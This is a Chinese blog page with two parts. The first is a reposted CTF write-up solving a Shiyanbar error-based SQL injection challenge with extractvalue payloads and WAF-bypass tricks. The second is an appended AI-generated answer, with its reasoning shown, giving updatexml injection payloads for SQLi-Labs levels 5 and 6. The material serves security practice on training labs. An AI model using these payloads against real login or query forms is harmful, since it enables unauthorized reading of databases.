实验吧--加了料的报错注入

本文详细介绍了在CTF竞赛中如何利用SQL注入爆破目标数据库,通过修改请求方式和构造payload,成功获取了数据库名、表名及列名,最终直接获得了flag。文章还分享了面对WAF过滤时的解决策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://ctf5.shiyanbar.com/web/baocuo/index.php

tips里面说post username and password...

我这里采用的抓包,也可以用hackbar

把get方式改为post后,放进repeater里面

构造第一条payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'

这里采用的函数是 extractvalue()concat() 以及/**/内联注释

extractvalue()的讲解是

  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string); 
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
  第二个参数:XPath_string (Xpath格式的字符串)

concat函数是返回结果为连接参数产生的字符串

爆出数据库...

继续往下爆

下一条payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'

一开始尝试 where table_schema = database(),发现waf将 = 过滤掉了,采用regexp(mysql正则)

爆出表

 

 先试试第一个

payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'

我丢。。flag出来了

 

转载于:https://www.cnblogs.com/AxsCtion/p/11027005.html

<think>好的,我现在需要解决用户关于SQLi-Labs第5关和第6关的报错注入解法的问题。首先,我得回忆一下这两个关卡的特点。用户提到的是报错注入,所以可能需要利用数据库报错机制来获取信息。 根据引用中的信息,第5关是双引号闭合,而第6关则是双引号闭合括号?或者可能用户提供的引用[1]提到第6关是双引号闭合,而第5关可能也是类似的,但需要确认。比如引用[1]说第六关是http://10.40.1.22/sqli-labs-master/Less-6/?id=1" --+,这说明闭合方式可能是双引号,而第五关可能类似,但可能闭合方式不同?比如第五关可能是单引号闭合? 不过用户提供的引用[1]提到第五关是双引号闭合,但可能我记错了,可能需要再核对。比如用户提供的引用[1]中说:“和第五关一样 只是双引号闭合”,所以可能第五关原本是单引号闭合,而第六关是双引号闭合?或者反过来? 假设第五关是单引号闭合,第六关是双引号闭合,那么报错注入的构造方式可能不同。报错注入常用的方法有extractvalue、updatexml、floor等函数。需要构造能够触发数据库报错并返回信息的语句。 比如,在第五关中,正确的闭合可能是单引号,所以构造的注入点需要闭合单引号,然后使用报错函数。例如,输入' or updatexml(1, concat(0x7e, (select database())), 1) --+,这样可能会触发报错,返回数据库名称。 对于第六关,闭合方式是双引号,所以构造的payload可能需要用双引号闭合,例如" or updatexml(1, concat(0x7e, (select user())), 1) --+,这样同样触发报错。 另外,用户提到的引用[4]中的union select语句可能涉及信息模式,比如查询表名或列名,但在报错注入中可能无法直接使用union,而是通过子查询嵌入到报错函数中。 需要注意的点包括闭合方式是否正确,是否需要注释掉后续的SQL代码,以及如何构造正确的子查询来获取数据。例如,使用concat函数将查询结果与特殊字符(如波浪号)结合,以触发报错信息的显示。 此外,用户可能需要知道如何逐步获取数据库名、表名、列名和数据。例如,首先确定闭合方式,然后使用报错函数一步步获取所需信息。比如,先测试闭合方式,然后构造报错语句,获取当前数据库名,接着查表名,再查列名,最后获取数据。 可能还需要考虑数据库类型(如MySQL),因为不同的数据库函数可能不同。根据SQLi-Labs的设置,通常使用的是MySQL,所以应使用对应的函数和语法。 总结步骤可能是: 1. 确定注入点闭合方式(第五关单引号,第六关双引号)。 2. 使用报错函数,如updatexml或extractvalue,构造payload获取信息。 3. 逐步获取数据库名、表名、列名,最终提取数据。 4. 注意闭合后面的引号,并注释掉后续语句,如使用--+或#注释。 另外,引用中提到使用sqlmap工具,但用户可能希望手动注入的方法,所以需要提供具体的payload示例。</think>### SQLi-Labs 第5关和第6关报错注入解法 #### **第5关:单引号闭合报错注入** 1. **判断注入类型** 输入`?id=1'`触发数据库报错,确认存在单引号字符型注入[^1]。 2. **构造报错Payload** 使用`updatexml()`函数触发错误回显: ``` ?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+ ``` - `0x7e`是`~`符号,用于分隔回显内容[^4]。 3. **获取数据库名** 通过报错信息可看到当前数据库名(如`security`)。 4. **提取表名和列名** ``` ?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) --+ ``` 同理替换`column_name`和`table_name`获取字段名。 --- #### **第6关:双引号闭合报错注入** 1. **判断闭合方式** 输入`?id=1"`触发报错,确认双引号闭合[^1]。 2. **构造Payload** 将第5关的单引号替换为双引号: ``` ?id=1" and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+ ``` 3. **分段获取数据** 若结果被截断,使用`substr()`分步提取: ``` ?id=1" and updatexml(1, concat(0x7e, substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,30), 0x7e), 1) --+ ``` --- #### **关键技巧** - **闭合与注释**:确保闭合引号并使用`--+`或`#`注释后续语句。 - **信息模式表**:通过`information_schema`查询元数据。 - **工具辅助**:复杂场景可用`sqlmap`自动化探测(参考引用[2])。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值